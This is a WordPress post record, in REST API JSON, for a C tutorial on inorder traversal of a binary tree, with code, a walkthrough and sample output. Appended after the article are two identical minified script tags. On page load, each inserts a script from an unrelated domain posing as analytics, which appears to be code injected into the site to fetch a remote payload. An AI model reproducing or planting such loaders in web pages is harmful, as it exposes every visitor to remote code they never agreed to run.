{"id":563,"date":"2024-10-19T13:53:29","date_gmt":"2024-10-19T08:23:29","guid":{"rendered":"https:\/\/codexplained.in\/?p=563"},"modified":"2025-11-24T15:32:30","modified_gmt":"2025-11-24T10:02:30","slug":"inorder-traversal-of-binary-tree","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=563","title":{"rendered":"Inorder Traversal of Binary Tree"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\n\/\/ Define the structure of a binary tree node\nstruct Node {\n    int data;\n    struct Node* left;\n    struct Node* right;\n};\n\n\/\/ Function to create a new node\nstruct Node* createNode(int value) {\n    struct Node* newNode = (struct Node*)malloc(sizeof(struct Node));\n    newNode-&gt;data = value;\n    newNode-&gt;left = NULL;\n    newNode-&gt;right = NULL;\n    return newNode;\n}\n\n\/\/ Function for inorder traversal\nvoid inorderTraversal(struct Node* root) {\n    if (root == NULL) {\n        return;\n    }\n\n    \/\/ Recursively traverse the left subtree\n    inorderTraversal(root-&gt;left);\n\n    \/\/ Visit the root node\n    printf(&quot;%d &quot;, root-&gt;data);\n\n    \/\/ Recursively traverse the right subtree\n    inorderTraversal(root-&gt;right);\n}\n\nint main() {\n    \/\/ Creating nodes of the binary tree\n    struct Node* root = createNode(1);\n    root-&gt;left = createNode(2);\n    root-&gt;right = createNode(3);\n    root-&gt;left-&gt;left = createNode(4);\n    root-&gt;left-&gt;right = createNode(5);\n\n    printf(&quot;Inorder traversal of the binary tree is: &quot;);\n    inorderTraversal(root);\n    printf(&quot;\\n&quot;);\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation of the Code:<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Structure Definition<\/strong>:\n<ul class=\"wp-block-list\">\n<li>We define a structure <code>Node<\/code> to represent a node of the binary tree.<\/li>\n\n\n\n<li>Each node contains three elements:\n<ul class=\"wp-block-list\">\n<li><code>data<\/code>: Holds the value of the node.<\/li>\n\n\n\n<li><code>left<\/code>: Pointer to the left child.<\/li>\n\n\n\n<li><code>right<\/code>: Pointer to the right child.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>createNode() Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>This function allocates memory for a new node, sets the <code>data<\/code> field, and initializes the left and right pointers to <code>NULL<\/code>.<\/li>\n\n\n\n<li>It returns a pointer to the newly created node.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>inorderTraversal() Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>This function takes the root node of a binary tree as input.<\/li>\n\n\n\n<li>It uses recursion to traverse the tree in the following order:\n<ul class=\"wp-block-list\">\n<li>First, it calls <code>inorderTraversal()<\/code> for the left subtree.<\/li>\n\n\n\n<li>Then, it prints the <code>data<\/code> of the current node.<\/li>\n\n\n\n<li>Finally, it calls <code>inorderTraversal()<\/code> for the right subtree.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>If the <code>root<\/code> is <code>NULL<\/code> (base condition), it simply returns, ending that branch of recursion.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>main() Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>This function serves as the entry point of the program.<\/li>\n\n\n\n<li>We create a sample binary tree with 5 nodes.<\/li>\n\n\n\n<li>The tree looks like this:<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<pre class=\"wp-block-code\"><code>     1\n    \/ \\\n   2   3\n  \/ \\\n 4   5\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Output:<\/h3>\n\n\n\n<p>When the program is run, the output will be:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Inorder traversal of the binary tree is: 4 2 5 1 3\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Explanation of the Output:<\/h3>\n\n\n\n<p>For the given binary tree:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Start at the root (1)<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Traverse the left subtree of <code>1<\/code> (which is <code>2<\/code>).<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>At node 2<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Traverse the left subtree of <code>2<\/code> (which is <code>4<\/code>).<\/li>\n\n\n\n<li><code>4<\/code> is a leaf node (no children), so we print <code>4<\/code>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Back to node 2<\/strong>:\n<ul class=\"wp-block-list\">\n<li>After visiting <code>4<\/code>, we print <code>2<\/code>.<\/li>\n\n\n\n<li>Then, we traverse the right subtree of <code>2<\/code> (which is <code>5<\/code>).<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>At node 5<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>5<\/code> is a leaf node, so we print <code>5<\/code>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Back to the root (1)<\/strong>:\n<ul class=\"wp-block-list\">\n<li>After finishing the left subtree, we print <code>1<\/code>.<\/li>\n\n\n\n<li>Then, traverse the right subtree of <code>1<\/code> (which is <code>3<\/code>).<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>At node 3<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>3<\/code> is a leaf node, so we print <code>3<\/code>.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<p>Thus, the output of the inorder traversal is <code>4 2 5 1 3<\/code>.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation of the Code: Output: When the program is run, the output will be: Explanation of the Output: For the given binary tree: Thus, the output of the inorder traversal is 4 2 5 1 3.<\/p>\n","protected":false},"author":40,"featured_media":579,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-563","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/563","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/40"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=563"}],"version-history":[{"count":5,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/563\/revisions"}],"predecessor-version":[{"id":1387,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/563\/revisions\/1387"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/579"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=563"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=563"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=563"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}